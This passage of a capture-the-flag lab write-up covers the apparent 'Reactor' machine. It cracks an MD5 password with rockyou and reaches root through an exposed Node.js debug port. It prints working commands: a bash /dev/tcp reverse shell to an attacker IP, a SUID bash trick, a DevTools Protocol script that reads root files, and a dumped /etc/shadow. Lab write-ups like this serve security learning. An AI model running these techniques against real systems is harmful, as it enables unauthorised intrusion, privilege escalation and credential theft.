Loaded 1 password hash (Raw-MD5 [MD5 512/512 AVX512BW 16x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
reactor1 (?)
1g 0:00:00:00 DONE (2026-05-24 12:01) 50.00g/s 16857Kp/s 16857Kc/s 16857KC/s rockyoustuff..rayland
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
OR Hashcat using CPU:
$ hashcat -a 0 -m 0 -D 1 '39d97110eafe2a9a68639812cd271e8e' /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v7.1.2) starting
OpenCL API (OpenCL 3.0 PoCL 7.2-pre main-0-ga4b1633fa Linux, Debug+Asserts, RELOC, LLVM 21.1.8, SLEEF, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-znver4-AMD Ryzen 9 8945HS w/ Radeon 780M Graphics, 1905/3811 MB (1905 MB allocatable), 8MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory allocated for this attack: 514 MB (4999 MB free)
Dictionary cache built:
* Filename..: /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
* Passwords.: 14344391
* Bytes.....: 139921497
* Keyspace..: 14344384
* Runtime...: 0 secs
39d97110eafe2a9a68639812cd271e8e:reactor1
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: 39d97110eafe2a9a68639812cd271e8e
Time.Started.....: Sun May 24 12:14:56 2026 (0 secs)
Time.Estimated...: Sun May 24 12:14:56 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 3199.5 kH/s (0.36ms) @ Accel:1024 Loops:1 Thr:1 Vec:16
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 344064/14344384 (2.40%)
Rejected.........: 0/344064 (0.00%)
Restore.Point....: 335872/14344384 (2.34%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: sackings10 -> marsia
Hardware.Mon.#01.: Util: 12%
Started: Sun May 24 12:14:35 2026
Stopped: Sun May 24 12:14:57 2026
Connect via SSH and grab the user flag:
$ sshpass -p 'reactor1' ssh -o 'StrictHostKeyChecking=accept-new' -o 'StrictHostKeyChecking=no' engineer@reactor.htb
____ _____ _ ____ _____ ___ ____
| _ \| ____| / \ / ___|_ _/ _ \| _ \
| |_) | _| / _ \| | | || | | | |_) |
| _ <| |___ / ___ \ |___ | || |_| | _ <
|_| \_\_____/_/ \_\____| |_| \___/|_| \_\
ReactorWatch Core Monitoring System
Nuclear Dynamics Corp. - Site 7
AUTHORIZED PERSONNEL ONLY
Last login: Sun May 24 03:21:34 2026 from 10.10.16.10
engineer@reactor:~$ ls
user.txt
engineer@reactor:~$ cat user.txt
<REDACTED>
Privilege Escalation — Node.js Debug Port Hijacking (root)
Enumerate open ports:
engineer@reactor:~$ ss -tulnp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.54:53 0.0.0.0:*
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.54:53 0.0.0.0:*
tcp LISTEN 0 4096 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 511 127.0.0.1:9229 0.0.0.0:*
tcp LISTEN 0 4096 [::]:22 [::]:*
tcp LISTEN 0 511 *:3000 *:*
Found
127.0.0.1:9229where9229is the standard Node.js V8 Inspector/debugger port — was listening on localhost only.
- This port is used by
Node.jsprocesses launched with--inspect, allowing remote code evaluation via the Chrome DevTools Protocol.
Enumerate the processes:
engineer@reactor:~$ ps -aufx
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
...snip...
node 1407 0.0 2.5 11809920 102344 ? Ssl 00:35 0:05 next-server (v15.0.3)
root 1409 0.0 1.1 1066152 46804 ? Ssl 00:35 0:00 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
The
/opt/uptime-monitor/directory contained aNode.jsuptime monitoring worker.
This script runs as a persistent service probing the ReactorWatch application every 30 seconds.
Process inspection confirmed it was running as root, exposing the debug port on 127.0.0.1:9229.
Since the debug port was bound to localhost, we create a SSH tunnel to expose it to our attacker machine:
$ sshpass -p 'reactor1' ssh -o 'StrictHostKeyChecking=accept-new' -o 'StrictHostKeyChecking=no' engineer@reactor.htb -L 9229:127.0.0.1:9229
Double check on our attacker machine:
$ netstat -taon4 | grep LIST
tcp 0 0 127.0.0.1:9229 0.0.0.0:* LISTEN off (0.00/0/0)
OK
Now we have multiple ways to escalate to root and grab the root flag:
- Way 1:
Attach to the Node.js Debugger:
$ node inspect 127.0.0.1:9229
connecting to 127.0.0.1:9229 ... ok
debug>
Using process.mainModule.require to access successfully to the module system:
debug> exec("process.mainModule.require('child_process').execSync('id').toString()")
'uid=0(root) gid=0(root) groups=0(root)\n'
Quick win to grab the root flag:
debug> exec("process.mainModule.require('child_process').execSync('cat /root/root.txt').toString()")
'<REDACTED>\n'
Set a Penelope listener:
$ penelope -i tun0 -p 443
[+] Listening for reverse shells on 10.10.16.10:443
➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
Trigger a reverse shell from the debug console:
debug> exec("process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.16.10/443 0>&1\"').toString()")
Got our shell as root:
[+] [New Reverse Shell] => reactor 10.129.xx.xx Linux-x86_64 👤 root(0) 😍 Session ID <1>
[+] Upgrading shell to PTY...
[+] PTY upgrade successful via /usr/bin/python3
[+] Interacting with session [1] • PTY • Menu key F12 ⇐
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
root@reactor:/#
- Way 2:
$ node inspect 127.0.0.1:9229
connecting to 127.0.0.1:9229 ... ok
debug> repl
Press Ctrl+C to leave debug repl
> console.log.constructor('return process')().mainModule.require('child_process').execSync('chmod u+s /bin/bash').toString()
We have now a bash SUID:
engineer@reactor:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash
engineer@reactor:~$ bash -p
bash-5.2#
- Way 3:
Via a Python script:
$ cat root.py
#!/usr/bin/env python3
import json
import sys
import urllib.request
import websocket
base = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:9229"
targets = json.load(urllib.request.urlopen(base + "/json/list", timeout=5))
ws = websocket.create_connection(targets[0]["webSocketDebuggerUrl"], timeout=5)
expr = "process.mainModule.require('fs').readFileSync('/root/root.txt','utf8').trim()"
ws.send(json.dumps({
"id": 1,
"method": "Runtime.evaluate",
"params": {"expression": expr, "returnByValue": True},
}))
print(json.loads(ws.recv())["result"]["result"]["value"])
ws.close()
$ python3 root.py
<REDACTED>
Extra
Hashes
root@reactor:/# cat /etc/shadow
root:$y$j9T$eJAH7p7TxU.lFZFC0WOND/$1mw1NhZtJOB7JXVTdKmWM0jn1SjtF4ykv.7poV98dF.:20450:0:99999:7:::
daemon:*:20305:0:99999:7:::
bin:*:20305:0:99999:7:::
sys:*:20305:0:99999:7:::
sync:*:20305:0:99999:7:::
games:*:20305:0:99999:7:::
man:*:20305:0:99999:7:::
lp:*:20305:0:99999:7:::
mail:*:20305:0:99999:7:::
news:*:20305:0:99999:7:::
uucp:*:20305:0:99999:7:::
proxy:*:20305:0:99999:7:::
www-data:*:20305:0:99999:7:::
backup:*:20305:0:99999:7:::
list:*:20305:0:99999:7:::
irc:*:20305:0:99999:7:::
_apt:*:20305:0:99999:7:::
nobody:*:20305:0:99999:7:::
systemd-network:!*:20305::::::
systemd-timesync:!*:20305::::::
messagebus:!:20305::::::
systemd-resolve:!*:20305::::::
pollinate:!:20305::::::
polkitd:!*:20305::::::
syslog:!:20305::::::
uuidd:!:20305::::::
tcpdump:!:20305::::::
tss:!:20305::::::
landscape:!:20305::::::
fwupd-refresh:!*:20305::::::
usbmux:!:20450::::::
sshd:!:20450::::::
engineer:$6$tg15Yw9VXUvmSi4n$8hIU2q5IigHeoXEqQWDjtphs6Ed5/ZC5bZz2SI.dxwB1nDJEL4wqQgQm6Cqdiue6Xm24csSe.CSDBDFTJPyRk0:20450:0:99999:7:::
node:!:20450::::::
_laurel:!:20591::::::
AMD Radeon Software for Linux with “ROCm”
$ hashcat -a 0 -m 0 -D 1 '39d97110eafe2a9a68639812cd271e8e' /usr/share/seclists/Passwords/Leaked-Databases/rockyou-30.txt
hashcat (v7.1.2) starting
clGetPlatformIDs(): CL_PLATFORM_NOT_FOUND_KHR
ATTENTION! No OpenCL, HIP or CUDA compatible platform found.
You are probably missing the OpenCL, CUDA or HIP runtime installation.
* AMD GPUs on Linux require this driver:
"AMD Radeon Software for Linux" with "ROCm"
* Intel and AMD CPUs require this runtime:
"Intel CPU Runtime for OpenCL" or PoCL
* Intel GPUs require this driver:
"Intel Graphics Compute Runtime" aka NEO
* NVIDIA GPUs require this runtime and driver:
"NVIDIA CUDA Toolkit" (both runtime and driver included)
- Register repositories:
$ wget https://repo.radeon.com/amdgpu-install/7.2.3/ubuntu/noble/amdgpu-install_7.2.3.70203-1_all.deb
$ sudo apt install ./amdgpu-install_7.2.3.70203-1_all.deb
$ sudo apt update
- Install kernel driver:
$ sudo apt install "linux-headers-$(uname -r)"
$ sudo apt install amdgpu-dkms
- Install ROCm:
$ sudo apt install python3-setuptools python3-wheel
$ sudo usermod -a -G render,video $LOGNAME # Add the current user to the render and video groups
$ sudo apt install rocm
- Reboot:
$ sudo reboot
- We will have an issue if we’re running Kali inside VMware, so the VM only exposes a virtual
vmwgfxadapter. - The Radeon 780M is on the host and can’t be passed through to the guest for GPU compute with hashcat.
- Run Kali bare metal (or use hashcat directly on Windows/host OS). This is the only way to get full GPU access.
Hashcat only using CPU
# Install PoCL (CPU OpenCL) from source - first get deps
sudo apt install -y cmake pkg-config libhwloc-dev llvm-dev clang libclang-dev zlib1g-dev
# Check llvm version
llvm-config --version
Build PoCL:
git clone https://github.com/pocl/pocl.git
cd pocl && mkdir build && cd build
cmake .. -DWITH_LLVM_CONFIG=$(which llvm-config) -DENABLE_TESTS=OFF -DENABLE_EXAMPLES=OFF
make -j$(nproc)
sudo make install
sudo mkdir -p /etc/OpenCL/vendors
echo "/usr/local/lib/libpocl.so" | sudo tee /etc/OpenCL/vendors/pocl.icd
OR
# Check what clang/llvm packages are actually installed
apt list --installed 2>/dev/null | grep -E 'llvm|clang'
# Install the missing clang-cpp lib (match your llvm version - likely 21)
sudo apt install -y libclang-cpp-dev libclang-cpp21 clang-21 libllvm21
git clone https://github.com/pocl/pocl.git
cd pocl && mkdir build && cd build
cmake .. \
-DWITH_LLVM_CONFIG=/usr/bin/llvm-config-21 \
-DENABLE_TESTS=OFF \
-DENABLE_EXAMPLES=OFF \
-DSTATIC_LLVM=OFF
make -j$(nproc)
sudo make install
sudo mkdir -p /etc/OpenCL/vendors
echo "/usr/local/lib/libpocl.so" | sudo tee /etc/OpenCL/vendors/pocl.icd
